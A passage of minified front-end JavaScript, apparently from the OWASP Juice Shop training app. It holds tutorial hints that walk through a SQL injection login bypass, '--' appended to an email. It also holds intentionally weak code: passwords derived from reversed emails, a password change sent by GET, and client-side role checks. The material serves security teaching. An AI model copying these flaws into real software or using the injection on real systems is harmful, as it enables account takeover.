enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"\\u{1f389} Congratulations and enjoy the music!",fixture:".noResult",resolved:p(5e3)}]},Ot={name:"Login Bender",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Bender\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Bender\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Bender\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the user feedback.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go to the _About Us_ page where user feedback is displayed among other things.",fixture:"app-navbar",fixtureAfter:!0,resolved:x("about")},{text:"Once you found an entry by Bender in the feedback carousel leaking enough of his email to deduce the rest, go to the _Login_ screen.",fixture:"app-about",unskippable:!0,resolved:x("login")},{text:"Supply Bender\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","OhG0dPlease1nsertLiquor!")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Bender\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Bender!",fixture:"app-navbar",resolved:p(5e3)}]},Ut={name:null,hints:[{text:"\\u{1f613} Sorry, this hacking challenge does not have a step-by-step tutorial (yet) ... \\u{1f9ed} Can you find your own way to solve it?",fixture:"app-navbar",resolved:p(15e3)},{text:"\\u270d\\ufe0f Do you want to contribute a tutorial for this challenge? [Check out our documentation](https://pwning.owasp-juice.shop/part3/tutorials.html) to learn how! \\u{1f3eb}",fixture:"app-navbar",resolved:p(15e3)},{text:"And now: \\u{1f47e} **GLHF** with this challenge!",fixture:"app-navbar",resolved:p(1e4)}]},J=[R,_,Bt,kt,U,X,It,ct,W,Ot,{name:"Coding Challenges",hints:[{text:"To do the tutorial on _Coding Challenges_, you have to find and visit the _Score Board_ first. Once there, you have to click the tutorial button for the _Score Board_ challenge to proceed.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("score-board")},{text:"Many Juice Shop hacking challenges come with an associated _Coding Challenge_ which will teach you more about the underlying vulnerability on source code level.",fixture:"#Score\\\\ Board\\\\.solved",resolved:p(15e3)},{text:"You can launch a Coding Challenge via the `<>`-button. Click the one for the _Score Board_ challenge now.",fixture:"#codingChallengeTutorialButton",unskippable:!0,resolved:D("#Score\\\\ Board\\\\.codingChallengeButton")},{text:"All Coding Challenges take place in a modal dialog like this. They consist of two parts, one for finding and one for fixing the vulnerability in the code.",fixture:"#code-snippet",resolved:p(15e3)},{text:"The code snippet below shows a part of the actual application source code retrieved in real-time.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'You will always get a snippet that is involved in the security vulnerability or flaw behind the corresponding hacking challenge. In this case, you see the routing code that exposes all dialogs, including the supposedly "well-hidden" Score Board.\',fixture:"#code-snippet",resolved:p(2e4)},{text:\'For the "Find It" part of this coding challenge, tick the \\u{1f532} on all lines of code that you think are responsible for exposing the Score Board. When done, click the _Submit_ button.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#line114")},{text:"That\'s the one! Click the _Submit_ button proceed.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#findItSubmitButton")},{text:"\\u{1f38a}! You made it half-way through! In phase two you are now presented with several fix options. You must select the one which you think is the **best possible** fix for the security vulnerability.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'This coding challenge is a bit "special", because the Score Board is crucial for progress tracking and acts as a hub for the other challenges. Keep that in mind when picking the _Correct Fix_ from the options _Fix 1_, _2_ and _3_.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItSubmitButton")},{text:"If you did\'nt get the answer right, just try again until the \\u{1f38a}-cannon fires. Then click _Close_ to end the coding challenge and return to the Score Board.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItCloseButton")}]}];function h(y){const S=document.querySelector(y.fixture);if(!S)return null;const M=document.createElement("div");M.style.position="absolute";const E=document.createElement("div");E.id="hacking-instructor",E.style.position="absolute",E.style.zIndex="20000",E.style.backgroundColor="rgba(50, 115, 220, 0.9)",E.style.maxWidth="400px",E.style.minWidth=y.text.length>100?"350px":"250px",E.style.padding="16px",E.style.borderRadius="8px",E.style.whiteSpace="initial",E.style.lineHeight="1.3",E.style.top="24px",E.style.fontFamily="Roboto,Helvetica Neue,sans-serif",y.unskippable||(E.style.cursor="pointer",E.title="Double-click to skip"),E.style.fontSize="14px",E.style.display="flex",E.style.alignItems="center";const j=document.createElement("img");j.style.minWidth="64px",j.style.minHeight="64px",j.style.width="64px",j.style.height="64px",j.style.marginRight="8px",j.src="/assets/public/images/hackingInstructor.png";const et=document.createElement("span");et.style.flexGrow="2",et.innerHTML=(0,t.Z)(y.text);const G=document.createElement("button");G.id="cancelButton",G.style.textDecoration="none",G.style.backgroundColor="transparent",G.style.border="none",G.style.color="white",G.innerHTML=\'<div style;">×</div>\',G.style.fontSize="large",G.title="Cancel the tutorial",G.style.position="relative",G.style.zIndex="20001",G.style.bottom="-22px",G.style.cursor="pointer",E.appendChild(j),E.appendChild(et);const it=document.createElement("div");return it.style.position="relative",it.style.display="inline",it.appendChild(E),it.appendChild(G),M.appendChild(it),S.parentElement.insertBefore(M,y.fixtureAfter?S.nextSibling:S),M}function $(y){return d.apply(this,arguments)}function d(){return(d=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("dblclick",S)})})).apply(this,arguments)}function Rt(y){return _t.apply(this,arguments)}function _t(){return(_t=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("click",()=>{S("break")})})})).apply(this,arguments)}function Yt(y){return void 0!==J.find(({name:S})=>S===y)}function Jt(y){return ft.apply(this,arguments)}function ft(){return(ft=(0,k.Z)(function*(y){const S=J.find(({name:M})=>M===y)||Ut;for(const M of S.hints){const E=h(M);if(!E){console.warn(`Could not find Element with fixture "${M.fixture}"`);continue}E.scrollIntoView();const j=[M.resolved()];if(M.unskippable||j.push($(E)),j.push(Rt(document.getElementById("cancelButton"))),"break"===(yield Promise.race(j))){E.remove();break}E.remove()}})).apply(this,arguments)}},6645:(tt,K,c)=>{var k=c(1481),t=c(4650),w=c(5861),L=c(529),I=c(6201),s=c(4006),b=c(4550),O=c(5951),Z=c(5767),g=c(801),D=c(534),u=c(1195),p=c(4916),x=c(4859),T=c(3546);const lt=function(n){return{juicycoin:n}};O.vI.add(Z.IxA,g.bhf,g.Xf_,g.Egd,g.lXL,D.Eg,D.lX);let gt=(()=>{class n{constructor(e){this.configurationService=e,this.altcoinName="Juicycoin"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.altcoinName&&(this.altcoinName=e.application.altcoinName)},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-token-sale"]],decls:117,vars:26,consts:[["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"whitepaper-container","offer-container"],[3,"innerHtml"],[1,"divider"],[1,"mat-elevation-z6"],[2,"margin-left","10px"],["translate",""],[1,"whitepaper-buttons"],["href","https://ponzico.win/ponzico.pdf","target","_blank","rel","noopener noreferrer"],["mat-raised-button","","color","accent"],[1,"fas","fa-university","fa-lg"],["href","https://www.sec.gov/investor/alerts/ia_virtualcurrencies.pdf","target","_blank","rel","noopener noreferrer"],[1,"fas","fa-graduation-cap","fa-lg"],[1,"offer-box"],[1,"text-justify"],[1,"fab","fa-bitcoin"],[1,"badge"],["fxFlexAlign.lt-md","center",1,"faq-container"],["translate","",1,"title"],[1,"fas","fa-comments","fa-2x"],[1,"far","fa-comment-alt","fa-2x"],[1,"far","fa-comments","fa-2x"],[1,"fas","fa-comment-alt","fa-2x"],[2,"margin-left","10px",3,"innerHtml"],["translate","",1,"text-justify"],["src","assets/public/images/padding/56px.png"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card")(1,"div",0)(2,"div",1)(3,"mat-card-header")(4,"mat-card-title"),t._uU(5),t.ALo(6,"translate"),t.qZA(),t._UZ(7,"mat-card-subtitle",2),t.ALo(8,"translate"),t.qZA(),t._UZ(9,"div",3),t.TgZ(10,"mat-card",4)(11,"h4"),t._uU(12),t.ALo(13,"translate"),t.TgZ(14,"small",5),t._uU(15,"("),t.TgZ(16,"span",6),t._uU(17,"WHITEPAPER_REFERENCES"),t.qZA(),t._uU(18,")"),t.qZA()(),t.TgZ(19,"div",7)(20,"a",8)(21,"button",9),t._UZ(22,"i",10),t._uU(23," PonzICO Whitepaper"),t.qZA()(),t.TgZ(24,"a",11)(25,"button",9),t._UZ(26,"i",12),t._uU(27," PonziCoin Whitepaper"),t.qZA()()()(),t.TgZ(28,"div",13)(29,"h3",6),t._uU(30,"SECTION_SALES_PITCH"),t.qZA(),t.TgZ(31,"p",14),t._uU(32," Lorem ipsum dolor sit amet "),t.TgZ(33,"strong"),t._UZ(34,"i",15),t._uU(35),t.qZA(),t._uU(36,", consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.TgZ(37,"span",6),t._uU(38,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(39," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(40,"span",6),t._uU(41,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(42," Ut wisi enim ad minim veniam, quis "),t.TgZ(43,"strong"),t._UZ(44,"i",15),t._uU(45),t.qZA(),t._uU(46," nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. "),t.TgZ(47,"span",6),t._uU(48,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(49," Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. "),t.TgZ(50,"span",6),t._uU(51,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(52," Duis autem vel eum "),t.TgZ(53,"strong"),t._UZ(54,"i",15),t._uU(55),t.qZA(),t._uU(56," iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.TgZ(57,"span",6),t._uU(58,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(59," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. "),t.TgZ(60,"span",16),t._UZ(61,"i",15),t._uU(62),t.qZA(),t._uU(63," est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur. "),t.qZA()()(),t.TgZ(64,"div",17)(65,"mat-card-header")(66,"mat-card-title",18),t._uU(67,"ICO_FAQ"),t.qZA()(),t._UZ(68,"div",3),t.TgZ(69,"mat-card",4)(70,"h5"),t._UZ(71,"i",19),t._uU(72," Stet "),t.TgZ(73,"strong"),t._UZ(74,"i",15),t._uU(75),t.qZA(),t._uU(76," clita kasd gubergren?"),t.qZA(),t.TgZ(77,"small",14),t._uU(78," Stet clita kasd gubergren, no "),t.TgZ(79,"strong"),t._UZ(80,"i",15),t._uU(81),t.qZA(),t._uU(82," sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()(),t.TgZ(83,"mat-card",4)(84,"h5"),t._UZ(85,"i",20),t._uU(86," Consetetur sadipscing elitr?"),t.qZA(),t.TgZ(87,"small",14),t._uU(88," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed "),t.TgZ(89,"strong"),t._UZ(90,"i",15),t._uU(91),t.qZA(),t._uU(92," diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()(),t.TgZ(93,"mat-card",4)(94,"h5"),t._UZ(95,"i",21),t._uU(96," Hendrerit "),t.TgZ(97,"strong"),t._UZ(98,"i",15),t._uU(99),t.qZA(),t._uU(100," in vulputate velit?"),t.qZA(),t.TgZ(101,"small",14),t._uU(102," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.qZA()(),t.TgZ(103,"mat-card",4)(104,"h5"),t._UZ(105,"i",22),t._uU(106," Justo duo dolores et ea rebum?"),t.qZA(),t.TgZ(107,"small",14),t._uU(108," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.qZA()(),t.TgZ(109,"mat-card",4)(110,"h5"),t._UZ(111,"i",19)(112,"span",23),t.ALo(113,"translate"),t.qZA(),t.TgZ(114,"small",24),t._uU(115,"ICO_FAQ_ANSWER"),t.qZA()()(),t._UZ(116,"img",25),t.qZA()()),2&e&&(t.xp6(5),t.hij(" ",t.lcZ(6,12,"TITLE_TOKENSALE")," "),t.xp6(2),t.Q6J("innerHtml",t.xi3(8,14,"SECTION_ICO",t.VKq(22,lt,o.altcoinName)),t.oJD),t.xp6(5),t.hij("",t.lcZ(13,17,"SECTION_WHITEPAPER")," "),t.xp6(23),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(7),t.hij(" ",o.altcoinName,""),t.xp6(13),t.hij(" ",o.altcoinName,""),t.xp6(6),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(8),t.hij(" ",o.altcoinName,""),t.xp6(13),t.Q6J("innerHtml",t.xi3(113,19,"ICO_FAQ_QUESTION",t.VKq(24,lt,o.altcoinName)),t.oJD))},dependencies:[u.Pi,p.xw,p.SQ,p.XD,x.lW,T.a8,T.dk,T.n5,T.$j,u.X$],styles:[".container[_ngcontent-%COMP%]{justify-content:center}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;margin-bottom:10px;padding:12px 20px}.whitepaper-container.offer-container[_ngcontent-%COMP%]{max-width:700px;min-width:300px;width:70%}.whitepaper-buttons[_ngcontent-%COMP%]{display:flex;flex-direction:row;flex-wrap:wrap;gap:8px}.faq-container[_ngcontent-%COMP%]{max-width:500px;min-width:200px;width:70%}a[_ngcontent-%COMP%]:nth-child(1){padding-right:10px}.title[_ngcontent-%COMP%]{padding-bottom:27px}.divider[_ngcontent-%COMP%]{border:.5px solid #f2f2f2;margin-bottom:10px}.text-justify[_ngcontent-%COMP%]{text-align:justify}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}mat-card[_ngcontent-%COMP%]:nth-child(1){border-radius:5px;margin:0 auto;width:80%}"]}),n})();var P=c(2340),C=c(4850),_=c(7221),kt=c(8929);let R=(()=>{class n{constructor(e){this.http=e,this.isLoggedIn=new kt.xQ,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Users"}find(e){return this.http.get(this.hostServer+"/rest/user/authentication-details/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}login(e){return this.isLoggedIn.next(!0),this.http.post(this.hostServer+"/rest/user/login",e).pipe((0,C.U)(o=>o.authentication),(0,_.K)(o=>{throw o}))}getLoggedInState(){return this.isLoggedIn.asObservable()}changePassword(e){return this.http.get(this.hostServer+"/rest/user/change-password?current="+e.current+"&new="+e.new+"&repeat="+e.repeat).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o.error}))}resetPassword(e){return this.http.post(this.hostServer+"/rest/user/reset-password",e).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o}))}whoAmI(){return this.http.get(this.hostServer+"/rest/user/whoami").pipe((0,C.U)(e=>e.user),(0,_.K)(e=>{throw e}))}oauthLogin(e){return this.http.get("https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token="+e)}saveLastLoginIp(){return this.http.get(this.hostServer+"/rest/saveLoginIp").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}deluxeStatus(){return this.http.get(this.hostServer+"/rest/deluxe-membership").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}upgradeToDeluxe(e,o){return this.http.post(this.hostServer+"/rest/deluxe-membership",{paymentMode:e,paymentId:o}).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var U=c(6630);let Bt=(()=>{class n{constructor(e,o,i,r,l){this.cookieService=e,this.userService=o,this.router=i,this.route=r,this.ngZone=l}ngOnInit(){var e=this;this.userService.oauthLogin(this.parseRedirectUrlParams().access_token).subscribe(o=>{const i=btoa(o.email.split("").reverse().join(""));this.userService.save({email:o.email,password:i,passwordRepeat:i}).subscribe(()=>{this.login(o)},()=>{this.login(o)})},o=>{this.invalidateSession(o),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])}))})}login(e){var o=this;this.userService.login({email:e.email,password:btoa(e.email.split("").reverse().join("")),oauth:!0}).subscribe(i=>{const r=new Date;r.setHours(r.getHours()+8),this.cookieService.put("token",i.token,{expires:r}),localStorage.setItem("token",i.token),sessionStorage.setItem("bid",i.bid),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/"])}))},i=>{this.invalidateSession(i),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/login"])}))})}invalidateSession(e){console.log(e),this.cookieService.remove("token"),localStorage.removeItem("token"),sessionStorage.removeItem("bid")}parseRedirectUrlParams(){const o=this.route.snapshot.data.params.substr(1).split("&"),i={};for(let r=0;r<o.length;r++){const l=o[r].split("=");i[l[0]]=l[1]}return i}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(R),t.Y36(U.F0),t.Y36(U.gz),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-oauth"]],decls:9,vars:6,consts:[["fxLayoutAlign","center"],[1,"primary-notification"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"div")(3,"h3"),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div"),t._uU(7),t.ALo(8,"translate"),t.qZA()()()()),2&e&&(t.xp6(4),t.Oqu(t.lcZ(5,2,"TITLE_LOGIN")),t.xp6(3),t.Oqu(t.lcZ(8,4,"CONFIRM_LOGGED_IN_VIA_OAUTH2")))},dependencies:[p.Wh,T.a8,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:300px;width:35%}"]}),n})(),X=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.itemTotal=new kt.xQ,this.host=this.hostServer+"/api/BasketItems"}find(e){return this.http.get(`${this.hostServer}/rest/basket/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}checkout(e,o,i){return this.http.post(`${this.hostServer}/rest/basket/${e}/checkout`,{couponData:o,orderDetails:i}).pipe((0,C.U)(r=>r.orderConfirmation),(0,_.K)(r=>{throw r}))}applyCoupon(e,o){return this.http.put(`${this.hostServer}/rest/basket/${e}/coupon/${o}`,{}).pipe((0,C.U)(i=>i.discount),(0,_.K)(i=>{throw i}))}updateNumberOfCartItems(){this.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.itemTotal.next(e.Products.reduce((o,i)=>o+i.BasketItem.quantity,0))},e=>{console.log(e)})}getItemTotal(){return this.itemTotal.asObservable()}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var It=c(491);let W=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o}canActivate(){return!!localStorage.getItem("token")||(this.forbidRoute("UNAUTHORIZED_ACCESS_ERROR"),!1)}forbidRoute(e="UNAUTHORIZED_PAGE_ACCESS_ERROR"){var o=this;this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["403"],{skipLocationChange:!0,queryParams:{error:e}})}))}tokenDecode(){let e=null;const o=localStorage.getItem("token");if(o)try{e=It(o)}catch(i){console.log(i)}return e}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(U.F0),t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ot=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"admin"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ut=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"accounting"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),ht=(()=>{class n{constructor(e){this.loginGuard=e}isDeluxe(){const e=this.loginGuard.tokenDecode();return e?.data&&"deluxe"===e.data.role}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})();var J=c(5004),h=c(6895),$=c(1600),d=c(671);function Rt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function _t(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._UZ(1,"img",21),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH)}}function Yt(n,a){1&n&&t._UZ(0,"mat-footer-cell",20)}function Jt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function ft(n,a){if(1&n&&(t.TgZ(0,"mat-cell",22),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name," ")}}function y(n,a){1&n&&t._UZ(0,"mat-footer-cell",23)}function S(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function M(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.dec(i.BasketItem.id))}),t._UZ(1,"i",28),t.qZA()}}function E(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.inc(i.BasketItem.id))}),t._UZ(1,"i",29),t.qZA()}}function j(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24),t.YNc(1,M,2,0,"button",25),t.TgZ(2,"span",26),t._uU(3),t.qZA(),t.YNc(4,E,2,0,"button",25),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.allowEdit),t.xp6(2),t.hij(" ",e.BasketItem.quantity,""),t.xp6(1),t.Q6J("ngIf",o.allowEdit)}}function et(n,a){1&n&&(t.TgZ(0,"mat-footer-cell",30),t._uU(1,"TOTAL"),t.qZA())}function G(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function it(n,a){if(1&n&&(t.TgZ(0,"mat-cell",31),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function an(n,a){1&n&&t._UZ(0,"mat-footer-cell",32)}function rn(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function sn(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",36)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.delete(r.BasketItem.id))}),t._UZ(2,"i",37),t.qZA()()}}function ln(n,a){1&n&&t._UZ(0,"mat-footer-cell",36)}function cn(n,a){1&n&&(t.ynx(0,33),t.YNc(1,rn,1,0,"mat-header-cell",2),t.YNc(2,sn,3,0,"mat-cell",34),t.YNc(3,ln,1,0,"mat-footer-cell",35),t.BQk())}function un(n,a){1&n&&t._UZ(0,"mat-header-row")}function pn(n,a){1&n&&t._UZ(0,"mat-row")}function dn(n,a){1&n&&t._UZ(0,"mat-footer-row",39)}function mn(n,a){if(1&n&&(t.TgZ(0,"span"),t.YNc(1,dn,1,0,"mat-footer-row",38),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("matFooterRowDef",e.tableColumns)}}function gn(n,a){if(1&n&&(t.TgZ(0,"div",40),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.AsE("",t.lcZ(2,2,"LABEL_TOTAL_PRICE"),": ",e.itemTotal,"\\xa4")}}O.vI.add(D.I7,g.El_,g.CPW);let _e=(()=>{class n{constructor(e,o,i,r){this.deluxeGuard=e,this.basketService=o,this.userService=i,this.snackBarHelperService=r,this.allowEdit=!1,this.displayTotal=!1,this.totalPrice=!0,this.emitTotal=new t.vpe,this.emitProductCount=new 